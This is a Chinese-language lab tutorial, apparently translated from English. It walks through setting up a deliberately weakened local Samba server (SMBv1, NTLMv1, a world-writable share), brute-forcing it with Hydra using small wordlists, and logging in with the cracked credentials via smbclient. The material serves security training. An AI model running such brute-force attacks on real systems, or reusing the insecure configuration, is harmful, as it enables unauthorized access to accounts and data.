使用 Hydra 攻击 SMB 服务

HydraHydraBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在这个实验中,你将学习如何使用 Hydra,一个强大的密码破解工具,攻击 SMB (服务器消息块) 服务。这个实验重点在于演示如何识别和利用 SMB 服务器上的弱凭据。

你将首先使用 Samba 设置一个本地 SMB 服务器,包括安装必要的软件包、配置 smb.conf 文件以创建共享目录,以及设置适当的权限。然后,你将准备用户和密码列表,用于 Hydra 攻击。最后,你将运行 Hydra SMB 攻击并检查结果,查看是否有任何凭据被成功破解。

设置本地 SMB 服务器

本步骤将使用 Samba 设置一个本地 SMB (服务器消息块) 服务器。SMB 是一种网络文件共享协议,允许计算机上的应用程序访问远程服务器上的文件和资源。Samba 是 SMB 网络协议的免费软件重新实现。这将在后续步骤中为你的 Hydra SMB 攻击提供目标。

首先,让我们安装 Samba。在 ~/project 目录中打开你的终端。

sudo apt update
sudo apt install samba -y

这条命令会更新软件包列表,然后安装 Samba 软件包。-y 标志会在安装过程中自动回答“是”。

接下来,你需要配置 Samba。你将首先备份原始配置文件。

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

现在,让我们创建一个新的、干净的配置文件,通过直接覆盖现有文件来实现。这种方法确保不会与默认的 Ubuntu Samba 设置冲突。

请复制并运行以下命令到终端。请确保正确复制命令。

sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
   workgroup = WORKGROUP
   server string = Samba Server
   netbios name = fileserver
   security = user
   map to guest = never
   ## 禁用匿名访问
   restrict anonymous = 2
   ## 明确启用 SMBv1 和 NTLMv1 以便 Hydra 使用
   server min protocol = NT1
   client min protocol = NT1
   ntlm auth = ntlmv1-permitted
   ## 绑定到本地主机
   interfaces = 127.0.0.1
   bind interfaces only = yes
   ## 日志记录
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   debug level = 3

[share]
   path = /home/labex/project/share
   browsable = yes
   writable = yes
   guest ok = no
   read only = no
   valid users = labex
EOF

这条命令将完全替换 /etc/samba/smb.conf 的内容为我们干净的配置。

重要的配置点:

  • map to guest = never - 防止匿名访客访问
  • restrict anonymous = 2 - 完全禁用匿名访问
  • server min protocol = NT1client min protocol = NT1 - 启用 SMBv1 以便 Hydra 兼容
  • ntlm auth = ntlmv1-permitted - 允许 NTLMv1 身份验证进行测试
  • interfaces = 127.0.0.1bind interfaces only = yes - 只允许访问本地主机
  • guest ok = no - 禁用对共享的访客访问
  • valid users = labex - 只允许特定用户访问

我们为什么覆盖整个文件:

  • 避免与 Ubuntu 默认 Samba 设置冲突
  • 确保干净、精简的配置,优化用于 Hydra 测试
  • 消除潜在的重复或冲突指令问题
  • 为所有用户提供一致的起点

此配置确保 Hydra 能够正确检测身份验证尝试,而不会受到匿名访问的干扰。

现在,让我们创建共享目录。

mkdir ~/project/share
sudo chmod 777 ~/project/share

这将在你的 ~/project 目录中创建一个名为 share 的目录,并将它的权限设置为 777,这意味着每个人都有读取、写入和执行权限。注意: 在真实场景中,你应该使用更严格的权限。为了本实验环境的简单性,我们使用 777。

接下来,你需要添加一个 Samba 用户。这个用户将用于验证到 SMB 服务器。你将使用系统中已存在的 labex 用户。首先,为 labex 用户设置 Samba 密码。

sudo smbpasswd -a labex

系统将提示你输入 labex 用户的新密码。输入 password 并确认。

New SMB password:
Retype new SMB password:
Added user labex.

最后,重启 Samba 服务以应用更改。

sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart

你应该看到类似这样的输出:

 * Stopping SMB/CIFS daemon smbd                                        [ OK ]
 * Starting SMB/CIFS daemon smbd                                        [ OK ]
 * Stopping NetBIOS name server nmbd                                    [ OK ]
 * Starting NetBIOS name server nmbd                                    [ OK ]

这条命令将检查你的 Samba 配置是否存在语法错误,并显示活动配置。你应该看到确认你的设置没有错误的输出。

现在,你的本地 SMB 服务器已设置了适当的安全设置。你已创建了一个名为 share 的共享目录,并添加了 labex 用户及其 Samba 密码。该配置已针对 Hydra 攻击进行了优化。

准备用户和密码列表

本步骤中,你将创建 Hydra 用于执行 SMB 攻击的用户和密码列表。这些列表将包含 Hydra 将尝试用于验证 SMB 服务器的潜在用户名和密码。

首先,让我们创建用户列表。你将使用 nano~/project 目录中创建一个名为 users.txt 的文件。

nano ~/project/users.txt

在此文件中,添加以下用户名,每行一个:

labex
admin
guest
user
test
root

按下 Ctrl+X,然后 Y,再按下 Enter 保存文件。

现在,让我们创建密码列表。你将使用 nano~/project 目录中创建一个名为 passwords.txt 的文件。

nano ~/project/passwords.txt

在此文件中,添加以下密码,每行一个:

password
123456
labex
admin
guest

按下 Ctrl+X,然后 Y,再按下 Enter 保存文件。

这些只是用于演示的简单列表。在真实场景中,你将使用更大、更复杂的列表。

现在你已创建了两个文件:users.txt 包含用户名列表,passwords.txt 包含密码列表。Hydra 将在下一步中使用这些列表尝试破解 SMB 服务器密码。

执行 Hydra SMB 攻击

本步骤中,你将使用 Hydra 对你在第一步中设置的 SMB 服务器进行暴力破解攻击。Hydra 是一款并行登录破解工具,支持多种协议进行攻击。

~/project 目录中打开你的终端。

现在,让我们运行 Hydra 命令来攻击 SMB 服务。

hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb

让我们分解这个命令:

  • hydra: 这是运行 Hydra 工具的命令。
  • -L ~/project/users.txt: 指定用户列表文件的路径。
  • -P ~/project/passwords.txt: 指定密码列表文件的路径。
  • 127.0.0.1: 目标 SMB 服务器的 IP 地址(在本例中为本地主机)。
  • smb: 指定要攻击的服务(SMB)。

Hydra 将开始尝试使用你提供的列表中的用户名和密码登录 SMB 服务器。它将尝试每种用户名和密码的组合,直到找到有效的组合或耗尽所有可能性。

如果第一步中配置的 SMB 服务器正确,你应该看到成功的凭据发现:

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - 请勿在军事或秘密服务组织或用于非法目的中使用(这并非强制性,这些***无论如何都会忽略法律和道德)。

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:52:16
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:6/p:5), ~30 tries per task
[DATA] attacking smb://127.0.0.1:445/
[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 10:52:17

理解输出:

  • [445][smb] host: 127.0.0.1 login: labex password: password 显示 Hydra 成功找到了有效的凭据。
  • 用户名: labex
  • 密码: password
  • 摘要显示“1 个有效密码找到”,确认攻击成功。

重要提示: 此攻击正在对本地 SMB 服务器进行教育目的的测试。我们专门配置了服务器以演示 Hydra 的工作方式。在生产环境中,出于安全原因,应禁用 SMBv1。对远程系统进行未经授权的攻击是非法的和不道德的。

该命令可能需要一些时间才能完成,具体取决于你的用户和密码列表的大小。观察输出以查看 Hydra 何时成功破解密码。

检查 SMB 攻击结果

本步骤中,你将分析 Hydra SMB 攻击的输出,以确认凭据发现成功,并通过连接 SMB 共享来验证破解的凭据。

在上一步骤运行 Hydra 命令(以及可能应用了故障排除步骤)后,你应该看到类似于此的成功输出:

[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found

此行指示 Hydra 成功破解了 SMB 凭据:

  • 用户名: labex
  • 密码: password

验证破解的凭据:
为了确认破解的凭据有效,你可以使用 smbclient 命令连接到 SMB 共享。首先,如果尚未安装,请安装它:

sudo apt update
sudo apt install smbclient -y

你应该看到类似于此的输出:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libsmbclient
The following NEW packages will be installed:
  libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...

现在,使用破解的凭据连接到 SMB 共享:

smbclient //127.0.0.1/share -U labex%password

让我们分解这个命令:

  • smbclient: 用于访问服务器上的 SMB/CIFS 资源的命令行实用程序。
  • //127.0.0.1/share: SMB 共享的路径。127.0.0.1 是本地 SMB 服务器的 IP 地址,share 是共享目录的名称。
  • -U labex%password: 指定 Hydra 破解的用户名 (labex) 和密码 (password)。用户名和密码之间用 % 符号分隔。

如果连接成功,你将看到一个 smb:\> 提示符,表示你已成功使用破解的凭据连接到 SMB 共享:

Try "help" to get a list of possible commands.
smb: \>

然后,你可以键入 exit 并按下 Enter 离开 smbclient 提示符:

exit

此成功连接确认:

  1. Hydra 成功破解了 SMB 凭据
  2. 用户名和密码组合有效
  3. 攻击对配置的 SMB 服务器有效
  4. 破解的凭据提供了对共享目录的访问权限

安全隐患:
此成功攻击演示了以下重要性:

  • 使用强且复杂的密码
  • 实施帐户锁定策略
  • 监控暴力破解攻击
  • 禁用不必要的服务和协议
  • 定期安全审计和渗透测试

总结

在本实验中,你学习了如何使用 Hydra(一个强大的密码破解工具)攻击 SMB 服务。你首先使用 Samba 设置了一个本地 SMB 服务器,这包括安装必要的软件包、配置 smb.conf 文件以创建支持 SMBv1 和 NTLMv1 的共享目录(以便 Hydra 兼容),以及设置适当的权限。

然后,你准备了用户和密码列表(users.txt 包含 6 个用户名,passwords.txt 包含 5 个密码),用于 Hydra 攻击。使用第一步中正确配置的 SMB 服务器,Hydra SMB 攻击成功破解了 SMB 凭据,找到了有效的用户名 labex 和密码 password 的组合。

你通过使用 smbclient 连接到已发现凭据的 SMB 共享来确认攻击的成功,这证明了破解的凭据确实提供了对共享目录的合法访问。

本实验有效地演示了:

  1. Hydra 的功能: Hydra 如何系统地测试用户名和密码组合以对抗 SMB 服务
  2. 正确配置: 正确配置目标服务对于安全测试的重要性
  3. 暴力破解攻击方法: 准备词表并执行自动化攻击的过程
  4. 攻击验证: 确认凭据发现成功的必要性
  5. 安全配置: 如何正确配置 SMB 以防止匿名访问,同时允许合法的身份验证测试

关键安全教训:

  • 弱密码容易受到暴力破解攻击
  • 正确的服务配置对于安全性和测试至关重要
  • 禁用匿名访问可确保清晰的身份验证结果
  • 像 Hydra 这样的自动化工具可以快速测试许多凭据组合
  • 定期安全测试有助于在攻击者之前识别漏洞

重要提示: 此攻击是在专门用于教育目的的本地 SMB 服务器上进行的。在生产环境中,应禁用 SMBv1,应强制执行强密码策略,并应实施监控以检测暴力破解攻击。对远程系统进行未经授权的攻击是非法的和不道德的。